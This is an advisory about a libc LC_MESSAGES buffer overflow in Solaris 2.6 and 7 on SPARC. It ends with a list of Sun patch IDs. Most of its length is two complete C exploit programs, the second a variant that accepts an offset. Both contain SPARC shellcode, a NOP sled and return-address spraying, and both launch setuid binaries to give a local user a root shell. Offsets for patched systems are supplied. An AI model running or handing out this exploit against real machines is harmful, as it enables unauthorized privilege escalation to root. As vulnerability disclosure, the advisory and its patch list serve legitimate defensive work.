COMMAND

    libc

SYSTEMS AFFECTED

    Solaris 2.6, Solaris7

PROBLEM

    'The Shadow Penguin Security' posted following about libc overflow
    when that handles LC_MESSAGES.  So, if you set the long string  to
    LC_MESSAGES and call  /bin/sh, the core  file is dumped.   This is
    serious problem.  The long  string that contains the exploit  code
    is set to  LC_MESSAGES and called  suid program by  execl(), local
    user can get the root privilege.  The called suid program have not
    to contain the overflow bugs.  It was confirmed as bug on  Solaris
    2.6 and Solaris7.  Solaris2.4, 2.5 does not contain this bug.

    The following program is an  example to get root privilege.   This
    is tested  on Solaris2.6  for Sparc  edition.   This program calls
    "/bin/passwd", but you can  also specify other suid  programs such
    as "/bin/su" or "/bin/rsh".   From the testing done, the  original
    exploit  only  works  on  unpatched  2.6  systems,  but  acpizer's
    modification (follows  original), which  allows you  to specify an
    offset,  works  on  any  2.6  or  2.7  system if you use the right
    offset (using an offset of 7144  works on a 2.6 system with  patch
    105210-19 installed):

    /*============================================================
       ex_lobc.c Overflow Exploits( for Sparc Edition)
       The Shadow Penguin Security
       (http://base.oc.to:/skyscraper/byte/551)
       Written by UNYUN (unewn4th@usa.net)
      ============================================================
    */
    #define EV          "LC_MESSAGES="
    #define ADJUST      0
    #define OFFSET      5392
    #define STARTADR    400
    #define NOP         0xa61cc013
    #define RETS        600

    char    x[80000];

    char exploit_code[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
    "\x2b\x0b\xda\xdc\xae\x15\x63\x68"
    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
    "\x94\x10\x20\x10\x94\x22\xa0\x10"
    "\x9c\x03\xa0\x14"
    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08"
    ;

    unsigned long get_sp(void)
    {
    __asm__("mov %sp,%i0 \n");
    }

    int i;
    unsigned int ret_adr;

    main()
    {
	putenv("LANG=");
	memset(x,'x',70000);

	for (i = 0; i < ADJUST; i++) x[i]=0x40;
	for (i = ADJUST; i < 1000; i+=4){
	    x[i+3]=NOP & 0xff;
	    x[i+2]=(NOP >> 8 ) &0xff;
	    x[i+1]=(NOP >> 16 ) &0xff;
	    x[i+0]=(NOP >> 24 ) &0xff;
	}
	for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
	ret_adr=get_sp()-OFFSET;
	printf("jumping address : %lx\n",ret_adr);
	if ((ret_adr & 0xff) ==0 ){
	    ret_adr -=16;
	    printf("New jumping address : %lx\n",ret_adr);
	}
	for (i = ADJUST+RETS; i < RETS+600; i+=4){
	    x[i+3]=ret_adr & 0xff;
	    x[i+2]=(ret_adr >> 8 ) &0xff;
	    x[i+1]=(ret_adr >> 16 ) &0xff;
	    x[i+0]=(ret_adr >> 24 ) &0xff;
	}
	memcpy(x,EV,strlen(EV));
	x[3000]=0;
	putenv(x);
	execl("/bin/passwd","passwd",(char *)0);
    }

    Below is a slightly modified exploit which will allow the user  to
    specify  the  offset,  the  author  has  not  provided offsets for
    2.7/SPARC so here they  are, any one of  these can be used:  7144,
    7152, 7160, 7168... (by acpizer).

    /*============================================================
       ex_lobc.c Overflow Exploits( for Sparc Edition)
       The Shadow Penguin Security
       (http://base.oc.to:/skyscraper/byte/551)
       Written by UNYUN (unewn4th@usa.net)


       offsets for 2.7/SPARC: 7144, 7152, 7160, 7168, and more...
       offset for 2.6/SPARC: 5392

      ============================================================
    */
    #define EV          "LC_MESSAGES="
    #define ADJUST      0
    #define STARTADR    400
    #define NOP         0xa61cc013
    #define RETS        600

    char    x[80000];

    char exploit_code[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
    "\x2b\x0b\xda\xdc\xae\x15\x63\x68"
    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
    "\x94\x10\x20\x10\x94\x22\xa0\x10"
    "\x9c\x03\xa0\x14"
    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08"
    ;

    unsigned long get_sp(void)
    {
    __asm__("mov %sp,%i0 \n");
    }

    int i;
    unsigned int ret_adr;

    main(int argc, char *argv[])
    {
	int OFFSET;

	putenv("LANG=");
	memset(x,'x',70000);


	if (argc == 2)
	  OFFSET = atoi(argv[1]);
	    else
		 OFFSET = 5392;     // default offset for 2.6

	for (i = 0; i < ADJUST; i++) x[i]=0x40;
	for (i = ADJUST; i < 1000; i+=4){
	    x[i+3]=NOP & 0xff;
	    x[i+2]=(NOP >> 8 ) &0xff;
	    x[i+1]=(NOP >> 16 ) &0xff;
	    x[i+0]=(NOP >> 24 ) &0xff;
	}
	for (i=0;i<strlen(exploit_code);i++) \
		    x[STARTADR+i+ADJUST]=exploit_code[i];
	ret_adr=get_sp()-OFFSET;
	printf("jumping address : %lx,  offset = %d\n",ret_adr, OFFSET);
	if ((ret_adr & 0xff) ==0 ){
	    ret_adr -=16;
	    printf("New jumping address : %lx\n",ret_adr);
	}
	for (i = ADJUST+RETS; i < RETS+600; i+=4){
	    x[i+3]=ret_adr & 0xff;
	    x[i+2]=(ret_adr >> 8 ) &0xff;
	    x[i+1]=(ret_adr >> 16 ) &0xff;
	    x[i+0]=(ret_adr >> 24 ) &0xff;
	}
	memcpy(x,EV,strlen(EV));
	x[3000]=0;
	putenv(x);
	execl("/bin/rsh","su",(char *)0);
    }

SOLUTION

    The  following  patches  are  available  in  relation to the above
    problem:

        SunOS version      Patch ID
        _____________      _________

        5.7                106541-07
        5.7 ufsrestore     106793-03
        5.7 rcp            107972-01

        5.7_x86            106542-07
        5.7_x86 ufsrestore 106794-03
        5.7_x86 rcp        107973-01

        5.6                105210-24
        5.6 ufsrestore     105722-03
        5.6 rcp            107991-01

        5.6_x86            105211-22
        5.6_x86 ufsrestore 105723-03
        5.6_x86 rcp        107992-01